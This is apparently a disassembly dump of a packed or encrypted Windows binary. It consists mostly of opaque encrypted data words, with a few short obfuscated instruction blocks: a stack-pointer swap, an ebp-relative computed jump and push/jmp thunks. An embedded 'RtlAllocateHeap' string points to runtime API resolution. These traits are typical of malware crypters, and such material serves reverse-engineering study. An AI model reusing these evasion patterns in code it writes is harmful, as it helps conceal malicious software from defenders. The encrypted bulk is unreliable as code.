		dd 14E900h, 26B90000h, 0D689A1D3h, 5C2231E7h, 2CFAE249h
		dd 0D48B6717h, 0B96657D1h, 0F61B566h, 0A89h, 5E900h, 0EC620000h
		dd 571DE411h, 0F889C789h, 81243C8Bh, 4C4h, 5EB56000h, 3ED78166h
		dd 830F6104h, 19h, 14E9h, 71EF0100h, 74942902h,	8AB4330Dh
		dd 0FDE05BB9h, 14A69284h, 8D8DF899h, 61C0561h, 8D89F78Ah
		dd 6143229h, 2820Fh, 0F2B40000h, 64D85C7h, 6B2C0614h, 2FB20000h
		dd 267185C7h, 614h, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 190424h, 55450000h, 416102C3h, 8B4BB4B2h
		dd 14083D95h, 0EBCF8106h, 0FF25A31Ah, 14220DB5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0E55A3607h, 6195FF7Ch, 89061423h, 1416218Dh,	0FF006A06h
		dd 14116995h, 0EBC08B06h, 0E2FB797Eh, 4FD60C4h,	3ADBCCE0h
		dd 0B95100C5h, 0F4022A90h, 58B9C9B2h, 7F3ED737h, 69FEB321h
		dd 0C25789B0h, 0A439FC54h, 0A352A0A2h, 0DD6E473Fh, 0F706A9C5h
		dd 1D90C27Bh, 98F5481Dh, 66FE26DAh, 0CF555421h,	0AEA7ACF1h
		dd 31EF4114h, 0D7AC01BAh, 0FF49E35Dh, 0C68768D3h, 17111103h
		dd 8C5342F2h, 26406CB5h, 7ED9A8E4h, 0B871E561h,	38B64462h
		dd 2A0110BFh, 0FDC48519h, 0FC05A880h, 0E8D4DEF8h, 0Ch
		dd 0BAE98665h, 6F1F0F09h, 0D75696BEh, 0BE8h, 59805400h
		dd 57C9A8B4h, 0B9781F02h, 0F6F18166h, 665A5933h, 2DD381h
		dd 7295C281h, 0AE90000h, 4B000000h, 546A8DCAh, 87F8CB84h
		dd 1C7468D6h, 81660000h, 5F7358C6h, 22459D0Bh, 32FF0614h
		dd 58F38B66h, 8E9h, 1A0C700h, 0E3A3565Ah, 0AAC081F7h, 0B56A45AEh
		dd 70F081DEh, 0B515A687h, 39C0818Bh, 8B4D4AB0h,	140E359Dh
		dd 0E8605006h, 0Ah, 99DA2D91h, 16F506C7h, 72B3E64Dh, 0D1858B5Fh
		dd 61061402h, 2956028Fh, 1430AD9Dh, 0EA815E06h,	279A39D9h
		dd 6830Fh, 9D230000h, 61424F5h,	39D5C281h, 0EF83279Ah
		dd 8B850F01h, 89FFFFFFh, 14141DB5h, 0EDE906h, 66600000h
		dd 4A8D88Ch, 0DF840Fh, 0B58B0000h, 6142581h, 0F00FE83h
		dd 2285h, 5985C600h, 4506141Ah,	72696968h, 45B5FF8Eh, 8D061411h
		dd 1780DB85h, 89D0FF06h, 142EF985h, 80F08B06h, 850FE93Eh
		dd 31h,	7F47858Dh, 0D0FF0619h, 2421BD8Bh, 0C7810614h, 1184h
		dd 2581B58Bh, 0F7870614h, 8B9h,	8BA4F300h, 142581B5h, 12858D06h
		dd 0FF0617AAh, 5DB58BD0h, 83061421h, 850F00FEh,	22h, 1A5985C6h
		dd 68540614h, 0FF4EBEF4h, 1145B5FFh, 858D0614h,	61780DBh
		dd 8589D0FFh, 614215Dh,	3E80F08Bh, 3A850FE9h, 8B000000h
		dd 14215DB5h, 47858D06h, 0FF06197Fh, 21BD8BD0h,	81061424h
		dd 1184C7h, 8C78300h, 215DB58Bh, 0F7870614h, 8B9h, 8BA4F300h
		dd 14215DB5h, 12858D06h, 0FF0617AAh, 8DC361D0h,	1C06B785h
		dd 19858906h, 0E906142Ah, 33h, 56C8E149h, 0Bh dup(0)
		dd 0E9000000h, 461h, 1C08F168h,	7629E906h, 6768FFF8h, 0E9061C09h
		dd 0FFF8761Fh, 1C0ABE68h, 7615E906h, 0BF1DFFF8h, 2D1AE00h
		dd 468C69BBh, 8F462375h, 0DCFBD82Ah, 62568FE1h,	0E234894Eh
		dd 9BEDCC05h, 53A51ABEh, 95B6076h, 896F75FDh, 9D580DEFh
		dd 0C5123BA2h, 973F4CF8h, 0E14DC24h, 51F1E828h,	0D5E5143Ch
		dd 0A92E8BF9h, 78106814h, 1D6B2A30h, 0C89F57E5h, 60B599DCh
		dd 0D91C09Dh, 11F339E5h, 1C58063Ch, 5D5C7946h, 8D0259B1h
		dd 84BF5EA9h, 80C21443h, 0D98E5A0Bh, 6F3C04F8h,	0E8CE5467h
		dd 0FC580656h, 0C73FA5D4h, 37000002h, 0A34F6C6Ah, 17351C4Bh
		dd 0E863494Fh, 9F7751F1h, 0F1E7B399h, 79FC751h,	89268CD8h
		dd 252B731Bh, 57E501DAh, 8BDF80A8h, 0B5286820h,	4E963AA8h
		dd 5E9A2148h, 0E38FB75Bh, 7DC569D7h, 72B58277h,	448CB461h
		dd 145C5F77h, 2318C47h,	0FAC115F2h, 1F2CE11Ch, 16240E35h
		dd 2B4h, 94E6D903h, 4FA11CB7h, 95B6072h, 0BE10A92Ch, 75C7F6E1h
		dd 0A3347C3Ch, 0E6EBC81Ah, 34A481D3h, 7A5C398Bh, 5BE3EF41h
		dd 0DF06F55h, 21888358h, 0A2424017h, 6814AB2Dh,	0FDE5B910h
		dd 0DBE0F643h, 8C34A2ACh, 4B933E44h, 0F92157EEh, 1B21E9B1h
		dd 580E4B35h, 0E7F22149h, 9E7BCDF0h, 0B508CF39h, 4A2B711Dh
		dd 0CD580E4Bh, 33D4B209h, 0D03EA497h, 23ED8E6h,	63790000h
		dd 0A62D0A5Ch, 0EAE8C517h, 33A27FD1h, 80573486h, 6B2EB3Dh
		dd 3E902DAAh, 0F7497061h, 0AF01BE1Ah, 65B704D2h, 0E5CBD159h
		dd 0F9580DF0h, 0A51397FEh, 0ABB1F9h, 8E57EDF0h,	9274BA66h
		dd 9D580DEEh, 5D2ADF7Bh, 0F4FA4279h, 580DEF0Eh,	5FCBFA22h
		dd 0F8D1E706h, 199F8h, 0C4120F00h, 983E4BF7h, 2F04DB23h
		dd 0B308CA65h, 64D0C45Ch, 0DB492535h, 5623EB33h, 8B933F7Ch
		dd 0F2969F85h, 0F38BB351h, 0E7ED80C4h, 335B57E5h, 0C75F4187h
		dd 486A5806h, 0ED4910Ah, 612AF8D9h, 41000000h, 0BF714017h
		dd 0ABEA4F12h, 0F21CBFA5h, 13ABD351h, 0C46CDAE4h, 37B3767Ch
		dd 0A98157E5h, 636BDA3h, 11A9D158h, 0F3D6F2C9h,	0B0153013h
		dd 9F4B6E63h, 68AE1847h, 5806D286h, 8234C60Bh, 15A563D8h
		dd 0F2FFAB43h, 1A30DCE1h, 8E5554F6h, 0D3E6EBB8h, 4EA0CF27h
		dd 0FDCE970Ch, 9B30F8D8h, 47000000h, 4BF7C412h,	7824993Eh
		dd 0D3A06B6Bh, 5137BD00h, 0DE51F1E8h, 0D5FDC3F8h, 5284913Dh
		dd 0F29E1FB4h, 9AB0029Ah, 51F1ECDAh, 0AE00BB1Bh, 74BC64D2h
		dd 0E6C2D56Eh, 0CF173F57h, 729D502h, 0B75CE2F2h, 87B0192Dh
		dd 2A1DFA30h, 74634092h, 1EA66B49h, 87713EAAh, 0E779h
		dd 0B30CD000h, 6E4F8461h, 28933F1Ch, 0DDDCF9D6h, 9429AE8Bh
		dd 1AF0942h, 0B895E7D6h, 714EA019h, 29065867h, 0B0BC0EADh
		dd 0F23C2228h, 5550580Dh, 43C512EEh, 59667292h,	25BD55ADh
		dd 0DBE0F6D3h, 4F17D089h, 0F1E86349h, 204F7751h, 4EFAC115h
		dd 0D4269541h, 9EE68AF8h, 0E5542D98h, 0CB133B57h, 4F353B03h
		dd 63580635h, 7EDF33Bh,	1B580635h, 1EB9C4F3h, 9E754D9Fh
		dd 3898BB8h, 2A6E9D70h,	58061748h, 0DBF309CDh, 0FB9C0AAAh
		dd 0D3E6EF3Ch, 0E537CF27h, 42EECF08h, 4B34h, 0A5138B00h
		dd 7E2A9344h, 40468E26h, 57EDF0A9h, 3E4BF71Fh, 0F4D12398h
		dd 0DAE24E2h, 783C975h,	4706C0FEh, 498DA7E3h, 93432072h
		dd 666F7C28h, 993E0B53h, 0F1207824h, 0F2903287h, 0CD1F9C3Ah
		dd 29D5E6F0h, 31Bh, 7DE47200h, 49F5CA12h, 75219A3Ch, 0A34F7068h
		dd 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh, 8733884Ah
		dd 0B864597Ah, 5A545233h, 4C281h, 0EA830000h, 24148704h
		dd 58E3685Ch, 14890000h, 66B76824h, 2C890000h, 0F7BE5624h
		dd 8107743Eh, 0F8793CE6h, 81D6F744h, 93CFC0F6h,	48156FDh
		dd 55723F24h, 0EA815A0Ch, 0C55723Fh, 2C8B545Eh,	4C48124h
		dd 68000000h, 28A7h, 0B9240C89h, 8, 1189E901h, 2434FF59h
		dd 4C4835Dh
; ---------------------------------------------------------------------------
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		les	eax, [esi]
		mov	eax, 61C0BCAh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 48D3h
		dd 0A3712CCFh, 0D23E628Bh, 62514232h, 0E36F6FAAh, 0F6D0347Eh
		dd 2AB0D37h, 52085EB8h,	59082D3Bh, 0E5F0B1Fh, 0B0463E70h
		dd 0AFE40630h, 0ADC856ADh, 54C55F1Ah, 0FE9618F4h, 58632DAEh
		dd 880A7A42h, 0D8CF7E28h, 1A5C64DBh, 69A43C2Eh,	2A71104h
		dd 18D645BDh, 0FE050311h, 0F2DA70B1h, 86010D18h, 50CC5940h
		dd 978A128Eh, 8D8D536Fh, 61C0DADh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 79C35646h, 0EACB4E61h, 9997B771h
		dd 10E9h, 0D891D600h, 52213C4Eh, 6D024D7Ah, 0D1B81666h
		dd 298D8933h, 6A061432h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 7B68C355h, 0A507AB7Dh
		dd 0B58B67BFh, 6141725h, 31D78166h, 4D85C711h, 7C061406h
		dd 8B000061h, 7185C7D3h, 61426h, 0F000000h, 0B5FFC1B7h
		dd 6141601h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	0C35242h, 61EBE039h, 0FF4FD8C8h, 14236195h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0A5E89883h, 0C090EF3Ah, 4BF66ACh, 0FF006A06h, 14116995h
		dd 0EBC08B06h, 7D95BA3Eh, 0BD588FD5h, 0A58BA6D3h, 0A770987Bh
		dd 0F4C3ED2h, 7C87AE38h, 0B97C9533h, 861363D5h,	7EEA76FFh
		dd 4029768Ch, 37C50BBDh, 0E48BD7BAh, 3B5A04FFh,	6ADA047Fh
		dd 15D6F77Bh, 0E914ACF0h, 35h, 3C15B484h, 416C7452h, 636F6C6Ch
		dd 48657461h, 706165h, 140000h,	7 dup(0)
		dd 102FE900h, 82680000h, 0E9061C10h, 0FFF86FE7h, 1C116D68h
		dd 6FDDE906h, 6668FFF8h, 0E9061C13h, 0FFF86FD3h, 1C146468h
		dd 6FC9E906h, 0B868FFF8h, 0E9061C17h, 0FFF86FBFh, 1C184568h
		dd 6FB5E906h, 8468FFF8h, 0E9061C18h, 0FFF86FABh, 1C197868h
		dd 6FA1E906h, 1468FFF8h, 0E9061C1Ah, 0FFF86F97h, 1C1A8968h
		dd 6F8DE906h, 0A68FFF8h, 0E9061C1Ch, 0FFF86F83h, 1C1CF868h
		dd 6F79E906h, 23B9FFF8h, 666D4A9Ch, 0AA280557h,	0F3E2BF11h
		dd 409774C6h, 0C6F22B7Dh, 7ED0EDEAh, 378930A1h,	0EF417E5Ah
		dd 0A5F7C412h, 250B1199h, 39580DF6h, 0C412D73Eh, 983E4BF7h
		dd 6E6A7723h, 0AE50A551h, 48905DECh, 993D4877h,	0E4F3D022h
		dd 14C491D9h, 946C7CABh, 54ED0FC7h, 10228D99h, 0ECF726BEh
		dd 1D25D1EAh, 80868750h, 51F2B69Ah, 42EE86AEh, 26B0BBEAh
		dd 58804D95h, 3B81A67h,	1FECC4D4h, 3A7F52B2h, 6E545AA2h
		dd 8251F2B7h, 0B3212B5Ah, 8385E24Ch, 0A1303DC7h, 9E338018h
		dd 733B831Bh, 97D02CA6h, 846B50A6h, 0F03463FBh,	57E59D5Dh
		dd 0FBC47249h, 72385E25h, 7C8FBD1Bh, 9AC9DFE9h,	0FC42EE16h
		dd 5806A51Ah, 0D783369Fh, 8B409CAh, 8D6C2E92h, 0EDE6A4C6h
		dd 0F8D93078h, 0BE480FE6h, 0D642DA99h, 5541A7h,	13580000h
		dd 0E9B1F9A5h, 0F1E7FDE3h, 9CE91151h, 4C52813Ah, 0E5038346h
		dd 107CF57h, 5806031Bh,	3885522Fh, 0C5ED71A0h, 0C9AFB57Dh
		dd 0DD580602h, 0D61C86B5h, 580602F4h, 0B15D5C79h, 0E28E2FA4h
		dd 0EBA01D5h, 0E2A004B6h, 741638FFh, 0D9D7065Fh, 0D8F8F8h
		dd 170F0000h, 8733884Ah, 0C8F5E22Fh, 0BE488E99h, 575DA51Ah
		dd 51F1E871h, 19C55D85h, 46F2CB0Ch, 0A766713Eh,	0F1E7BBA1h
		dd 0FA7CF51h, 5DB40B63h, 0E380E27h, 686E79A8h, 0D3359Eh
		dd 0E18D25BDh, 67B902D4h, 0F2CE9051h, 0B803D351h, 0B2B78E66h
		dd 1F8A3357h, 0F6E0EB1Ah, 9F0D19C5h, 66A1A7EFh,	9257E5EBh
		dd 0EBDEC4CAh, 1AF25806h, 6EC2E14h, 821A4258h, 55A7CF53h
		dd 1B630B79h, 0FBC2E915h, 951795Dh, 646D9B3Ch, 0B951A955h
		dd 8D2EA471h, 66714E5Eh, 45C67957h, 0C3AD3895h,	0D3DB5h
		dd 77489400h, 328B4825h, 0ECCF03E0h, 0A118BD9Ah, 5865724Fh
		dd 0C5EBCD06h, 7C59AB12h, 35126455h, 0EDCA1CA3h, 7480D2E9h
		dd 0F800E6ECh, 1914580Dh, 0F8C512B2h, 0AE0DC9A6h, 0A513A35Ch
		dd 0E8ABB1F9h, 0B657E502h, 5E79468Eh, 80C6305Fh, 5806029Eh
		dd 5E0AB523h, 8D398051h, 169BB71Bh, 0DC6D2D4Fh,	48F4C70Fh
		dd 1055C1F0h, 0EEF8D9D7h, 0BDh,	0F7C41205h, 24993E4Bh
		dd 35A37078h, 56175B8Ah, 9E51F1EDh, 0BB706D1h, 5D7984B3h
		dd 0A72F0C5Eh, 0D5F5CC14h, 50CC0CA4h, 4753BDECh, 3E7476D9h
		dd 0C216DE6Dh, 0A1DCE22Ah, 4F57E5F2h, 8BF9D527h, 7A959BE3h
		dd 0E85DFBC6h, 9DA178C0h, 888F6C9Dh, 21D3C070h,	5FF776E9h
		dd 7A5D2A30h, 0C314F143h, 290A483Bh, 0ABF3F3D5h, 1D97BFA5h
		dd 13ABD35Eh, 95511435h, 7B897338h, 0C52h, 10625D7Fh, 0CB1DA033h
		dd 85D7E4EEh, 3A8C2DA8h, 0F1437A5Dh, 27B000B8h,	6A674496h
		dd 0B820FD4Fh, 0FED8B507h, 0D75F6BBDh, 0DF8EBD1h, 9D04FF58h
		dd 0B0F8C512h, 9DCCEFE3h, 0E026B08Dh, 0DE30C8F1h, 0F7C41225h
		dd 6076434Bh, 270D135Bh, 3B51F1E8h, 0FDD9E413h,	0C7946CBEh
		dd 7660AD10h, 0F0D21645h, 7551F1E7h, 2B085A61h,	745A60ABh
		dd 8851F1E8h, 0F1CC860h, 0D648F4C7h, 2AE1F1BEh,	0F1E83E24h
		dd 922A5251h, 0E85E444Ah, 4A7251F1h, 7889C91Bh,	243534A1h
		dd 0F293381Eh, 0CD244C51h, 5B8A4A16h, 0E3358650h, 0ED48C0A5h
		dd 0D5C79EFEh, 4CE3AC01h, 736ED403h, 85000000h,	173AA513h
		dd 615CD47Bh, 0E6EC34CCh, 57E55367h, 83C9759Dh,	580632A1h
		dd 0D3C88AACh, 0F8D9A292h, 4D6Ch, 0F6D98300h, 7E51F1E7h
		dd 12186010h, 57E53273h, 0AC79C1E9h, 9444912Ah,	0FECFC2Bh
		dd 3D49F5C8h, 83696FCFh, 97580612h, 898FD76Fh, 5DFA13DEh
		dd 15F2446Ch, 4450FCC3h, 1AE22AD6h, 231884Dh, 0D4723BEh
		dd 17699164h, 87239h, 0A5139000h, 90289144h, 33474248h
		dd 4D7557E5h, 13795BA1h, 62845806h, 0C2BAAB20h,	0D44F8D9h
		dd 5B000000h, 0F1E7F7D9h, 13E33151h, 3AFFFFFCh,	47A44017h
		dd 37EFE93Dh, 26D2E7EAh, 27959FCEh, 0FA292F77h,	9057E5E7h
		dd 9476BC68h, 9F5805E7h, 5F2CDD7Dh, 3F974376h, 0EDC1A410h
		dd 0F03DF8D9h, 54000004h, 12DF6AD1h, 0C2CCFBC0h, 5E64AC54h
		dd 57E50213h, 7B40925Fh, 0FFA0C84Ch, 0B08312E9h, 3783696Fh
		dd 6F975806h, 2FAE218h,	0B1CE8FD3h, 0A41201C8h,	1FECB4FCh
		dd 35B07B2h, 709F1CB6h,	0BEAC792Ch, 53FF2707h, 0ED35D947h
		dd 0D807B820h, 2CFFCCD2h, 0A9D10DD4h, 79429461h, 4B746431h
		dd 0A72F0C1Ch, 0BC1D3614h, 947E88BBh, 0A5986h, 5B647800h
		dd 16A72C09h, 0D0EBE7C4h, 8534A17Eh, 3C815633h,	0A907B1EAh
		dd 603D8F2Eh, 19F64871h, 0D1AE00BFh, 5864B605h,	0FAE4CAD0h
		dd 0FDF8580Dh, 0F7C41296h, 5F76434Bh, 0E7BEA4AAh, 0AAD251F1h
		dd 6BD9E312h, 4233A104h, 0D26A33DEh, 0D50D848Ah, 664357E6h
		dd 6EB64E6Bh, 368837A1h, 0ADFA875Eh, 0EC45031Bh, 0CD25D1EAh
		dd 0DDFB0635h, 7F17A62Dh, 83A78DD3h, 19FB5806h,	9F5805B4h
		dd 3F458D31h, 5DF9B744h, 589E4A72h, 5E1AB776h, 0A8235F81h
		dd 0F2C522BDh, 2341h, 0A5135800h, 7EE1FD3Ah, 0A1395669h
		dd 21E45359h, 0D2FA57E6h, 0D2471E26h, 701B3FEh,	2D64709Fh
		dd 0BB000000h, 0B1F9A513h, 6DF68CDAh, 8FDC00C4h, 72CA7649h
		dd 4C373D43h, 5A57E5EDh, 1C22EA32h, 5806ED36h, 0E4CB224Ah
		dd 39A18502h, 7D66D0FFh, 4147C412h, 51F1E85Bh, 0D1AF476Fh
		dd 44C1008Ch, 5B2B3923h, 76000009h, 2A075966h, 0E5C214A9h
		dd 9F7CCEEDh, 54318336h, 0AFE83A83h, 8D30A709h,	46735E3Bh
		dd 0FEC117F4h, 0B407CFACh, 0C8CE5662h, 580DFBE2h, 1794FBF6h
		dd 85318E4Ah, 86F4FE2Dh, 0B18C92DAh, 9F57E5EDh,	11A916C2h
		dd 3D7E5865h, 0EAF28F5h, 0CBDB0A62h, 4E2752B5h,	66DDA7Fh
		dd 7968678Bh, 39811991h, 725B9162h, 6375817Eh, 0C058B05Ch
		dd 37A58191h, 5F723F87h, 2756AE5Ah, 8B915921h, 7F5145A5h
		dd 0F5DBE1B9h, 97F5145h, 0D61A49E1h, 85446AEBh,	1825D1F9h
		dd 31884DBBh, 0FD6B4799h, 8030951h, 368B588Eh, 0DCF9C60Eh
		dd 6612AB28h, 72CA760Eh, 0B193D943h, 0BC8B798Dh, 82E3F89Ah
		dd 0DCC56647h, 0C4F3C60Fh, 1585Eh, 0A5137500h, 0F1E4B1F9h
		dd 77C41CC8h, 282E5D60h, 0E5EE4722h, 81DCB357h,	0E2EF6299h
		dd 0A0C84C7Bh, 0CCEFE7F4h, 0E913AD84h, 8097E0CEh, 72644151h
		dd 0F4579D49h, 7B7F4E8Ah, 2C31A35Dh, 66D27E10h,	3B0B22CEh
		dd 69E1DA63h, 689E3481h, 0CB85069h, 0E514369Ah,	51AEF9DFh
		dd 4DE50D7Fh, 0DD173397h, 9370C2F9h, 63307843h,	7C3F976Fh
		dd 34E078D0h, 0FD43ADDCh, 0A699E89Ah, 0E11B37D9h, 9774C6F5h
		dd 0E0C6CC3Fh, 0F4A69CE9h, 15EC34CCh, 0D62015h,	60B70FBBh
		dd 4C8AC1A7h, 3EA8D76Fh, 0D21ACA32h, 9D07C6CCh,	0A0F21AA6h
		dd 62AA56C4h, 0B40BCD9Ah, 2AC64185h, 17F4AC90h,	2A8F46BEh
		dd 0F68EE692h, 5D75424Ah, 0B2242F5Eh, 12DFB709h, 0F74FFBC0h
		dd 0A219BDC8h, 29A2B0F6h, 0D127ACB1h, 2A1D0309h, 931ACB1h
		dd 32CA88DAh, 0AFC517A4h, 7EE46317h, 9EE68CF9h,	61EAD0D6h
		dd 0D6FE2105h
		dd 0F7BF97A7h, 5620BF1h, 8F421F21h, 8E267E2Ah, 3982545Fh
		dd 9B1478Dh, 339EA54Dh,	22BA01D1h, 536A6976h, 2D6D91A7h
		dd 6800BB17h, 0FD0C4EB2h, 9492F35h, 0FDD6A74Dh,	0A3D2FAC0h
		dd 2B7D3E98h, 0EB33884Eh, 5A06B31Eh, 5D69D302h,	0F1F73FEFh
		dd 0AD4037D6h, 0ECCA1C44h, 6Ch,	0F9A51343h, 0EC3CABB1h
		dd 2A5257E5h, 2E141AE2h, 425805EDh, 2059415Bh, 45DDC3C5h
		dd 349FAC16h, 63744189h, 0E56AE5Ah, 6062208h, 0DF0E3658h
		dd 9220F7CFh, 66557DC0h, 0BF0B62BAh, 0D9EE1D84h, 97FF8635h
		dd 454B3137h, 68CE5806h, 36723923h, 28C0E8AEh, 0FCDCDAE0h
		dd 0C18E5805h, 0A1F9A514h, 6BC6EE72h, 0BCFDD8A5h, 0A289B810h
		dd 0A5F7C412h, 0E7D800CDh, 0AAB4E33Bh, 464C943Ch, 57E5E963h
		dd 0AAF22EFh, 53D7065Eh, 0C216E32Bh, 0ACEABFDh,	8FFD09B5h
		dd 1A9197DFh, 0CE5DF9EAh, 0B7E6D501h, 195F0B33h, 5E191937h
		dd 579F4FBDh, 0D1C5651h, 0B05C8464h, 2E1C886Ah,	0D1719364h
		dd 0B1BDABBAh, 0ADCB3ECh, 0CF7EBD5h, 23006695h,	17000000h
		dd 0B1F9A513h, 0E5EC3CABh, 7E2A5257h, 0C2A8AE76h, 0D65805ECh
		dd 48E0DFF9h, 0B5E4D7FBh, 33A9h, 0A5130000h, 1CE9B1F9h
		dd 977D03BCh, 0AB51F1E7h, 484E5483h, 57E50D5Dh,	455E12E9h
		dd 47D9A68Bh, 0B62D6C2h, 72A1DB03h, 2A1016EEh, 3E58060Eh
		dd 0E9D27E16h, 19F7C412h, 44C1014Eh, 77D8B75h, 0CA000006h
		dd 7E5BAD12h, 39166855h, 0F3D02299h, 0A885D7E2h, 33C8E2Fh
		dd 0E1DCFBB5h, 9A1FB28Fh, 526D6B48h, 8B32300h, 1C22AAB6h
		dd 580DFF36h, 0D1E84F4Ah, 0B25ECC79h, 219646Ah,	986557E5h
		dd 0CD518039h, 8AB004A5h, 98984ADCh, 383E862Ah,	20400E11h
		dd 7E7E5825h, 867B7866h, 0E28E268Dh, 22BA01D5h,	9B476FF3h
		dd 357D218Fh, 54803A2Fh, 0FC446C26h, 9D745D34h,	0D6544A4Dh
		dd 813A9CA7h, 3784522Fh, 3DD51859h, 0C7D5BF70h,	57Ah, 0E83A8557h
		dd 0A3F5C80Bh, 5DAF0CC6h, 12645580h, 0C91BA235h, 4F882890h
		dd 923F1C6Eh, 0E0F8D527h, 26B08DDFh, 0AF374395h, 0DFFC3A9h
		dd 75DCD758h, 19F7C412h, 44C10162h, 3B919F89h, 96000005h
		dd 4A277946h, 5E23489h,	0BF9CEECDh, 7451A316h, 0CF085A63h
		dd 0AD10C7E9h, 66537E5Bh, 1EA13714h, 0D4E7EFCCh, 0E8EE7682h
		dd 580E0002h, 12B41B16h, 3F4BF7C4h, 0DFE52DD1h,	57ED15E4h
		dd 1F9E3512h, 0EB593587h, 6B33FB43h, 0DF67F65h,	0D6AC9358h
		dd 0CCF037D8h, 25699830h, 5E013E66h, 28933F1Ch,	0FBD7247Ch
		dd 367C28C0h, 5E221E54h, 0BBC1895Fh, 5E221DD5h,	4092C1E9h
		dd 0B7DC8902h, 0AD22F2BDh, 1A000000h, 4338A4Dh,	0CD6CD11Dh
		dd 13F9FF5Fh, 0A551F1E8h, 0F1E7B99Fh, 0DFA5CD51h, 0D1D71FB7h
		dd 57E50186h, 378B2C54h, 0A50A342Bh, 7A1887F5h,	0AA11C5EEh
		dd 16A79653h, 7D30367Eh, 2B2D003Dh, 0EDF3BB03h,	2D213D07h
		dd 5AC4F31Bh, 0E830E04Eh, 15BE15E2h, 77BFE733h,	659429AAh
		dd 0C244925Fh, 0BC0EA613h, 0E6C4F7DFh, 637A2B9Fh, 47687660h
		dd 8A000004h, 3E1B6D52h, 0F9D62895h, 0B390E2D9h, 68459722h
		dd 0C3FC4E6Fh, 0A11CBBF5h, 5A5F724Fh, 12AD2B08h, 0C8F3E3C0h
		dd 0DCE26A76h, 580E00F6h, 17A80F0Ah, 8834894Ah,	90F50130h
		dd 4C000000h, 63494F17h, 7751F1E8h, 0A816204Fh,	0BFAAB0F8h
		dd 0CD57ED15h, 46905DA5h, 90462375h, 5737F2Bh, 1C0B1159h
		dd 325E0148h, 0F4FAC20Ah, 5E22280Eh, 2BADFA22h,	6190E894h
		dd 0D17DEBF7h, 0A21BBC89h, 40676D73h, 0D6641545h, 0AE24DAF9h
		dd 52697F70h, 29079F37h, 327C7066h, 0ABB5C3ADh,	26000003h
		dd 0DAB709B6h, 9572C4F9h, 4F2C7E3Dh, 4E13386h, 5F98EAD3h
		dd 3D805759h, 0F6C30EEBh, 0AE11C7A4h, 64577F5Ch, 787E0612h
		dd 580E0192h, 0D944ABA6h, 51F1E7F3h, 0A11AB885h, 0E84C2E72h
		dd 0FFD651F1h, 52196EC8h, 64E9Ch, 51F24B1Ah, 0CDD7062Eh
		dd 9A67AF5Fh, 4A507F3Ch, 0ED794944h, 399A7757h,	0E880D884h
		dd 14A72F3Ch, 0A4906336h, 0CCDAC43Eh, 336h, 2C7E419Bh
		dd 0E739844Fh, 0A1F3C80Ah, 56A811C4h, 0D5F5E79h, 0BCCE4D4h
		dd 4E8360B2h, 9C3C196Bh, 0E2F4D123h, 0F37B87D9h, 0E0207EDh
		dd 0B9201B58h, 4BF7C412h, 3BAD6C43h, 0A89968Eh,	663D1DBh
		dd 0A52EACFh, 8E747A42h, 0A251F23Eh, 3F0EF47Ah,	0FA2251F2h
		dd 0E8BFC5CBh, 0DE57E644h, 3EEAD101h, 24FC4EE6h, 0D3C7F57h
		dd 8B8F73C9h, 0C6F7E081h, 7D409774h, 0D7FCC9D1h, 40ADB7E6h
		dd 12874092h, 3E4BF7C4h, 0EDB2398h, 0B4C4F3C8h,	7EC66AD8h
		dd 0E538E578h, 7F2B5357h, 6185739h, 0C4F5DC58h,	0F1CC0B18h
		dd 9992E45h, 779EDB4Ah,	0BC3D5DC1h, 1CB7D3F5h, 0F8D98049h
		dd 3CB5h, 42D6AD00h, 361D1FE9h,	0A99C4CA3h, 6037407Dh
		dd 0A5134A31h, 0E8ABB1F9h, 0B657E502h, 0BA9CE28Eh, 0C5580602h
		dd 51B322EFh, 368E3A81h, 6B9AF29Eh, 3627919h, 0FBF8D9D7h
		dd 0C7h, 494F1712h, 51F1E863h, 15204F77h, 414EFAC1h, 6E7B2796h
		dd 9AA75368h, 0AE0BCA3Ch, 0C012AA02h, 0F1ECE9AAh, 11AA2C51h
		dd 0E1DAFCC9h, 9EAEDD35h, 0FAA615C1h, 88D080EEh, 0ECD4BAC0h
		dd 0C0E851F1h, 0ECC38B91h, 0F3E48903h, 206493F6h, 57E5C37Dh
		dd 0B591E30Bh, 494F9747h, 5DFB7BC6h, 219C3714h,	0B46A4189h
		dd 0AC6695F1h, 78454B7Ah, 2F0C5E5Fh, 467760A8h,	1B12F8FEh
		dd 0FE265E1Dh, 0CE1B8866h, 36203895h, 1B528h, 0FFC01C00h
		dd 0BA03D0ADh, 74478B68h, 29904522h, 0E0DDFAD7h, 4D63558Eh
		dd 4E1338Ah, 0BD9AECCDh, 7552A41Bh, 0FC085A61h,	4886E74h
		dd 0A19C580Eh, 8B4A173Ah, 0E3F4FF2Eh, 2BAB88DAh, 17853E90h
		dd 1308D4Ah, 9DE589F7h,	21070DD5h, 3551F1E8h, 0D79ADE0Dh
		dd 0A557E502h, 0A98BD17Dh, 2E580602h, 5A6713A8h, 7F95417Eh
		dd 0D0053F5Bh, 688A51E9h, 0D6B4B12Ah, 0B74AF8D9h, 61000000h
		dd 4BF7C412h, 8F757B43h, 0A351F1E7h, 96414C7Bh,	74357B27h
		dd 0BC51F1EDh, 2DD9E4EFh, 3B9BA6D5h, 6A703880h,	51F1ED84h
		dd 31417098h, 0F1AE8259h, 802C9345h, 0AA41D128h, 31A5B0DFh
		dd 64D2DE8Ah, 0CB6E74BCh, 0D757E5AFh, 8F23090Fh, 0F375806h
		dd 0E2345CE0h, 0A0E89806h, 0FB62769Ah, 96DE065Dh, 5DAF0EC9h
		dd 88665780h, 3895A625h, 0C732402Ah, 0A000000h,	0BE9BEDD2h
		dd 7956A815h, 33106259h, 0E8C517A2h, 437CCEEFh,	219C3B75h
		dd 0DADFF2CFh, 922DAB88h, 48736340h, 5C62EAF6h,	580E0476h
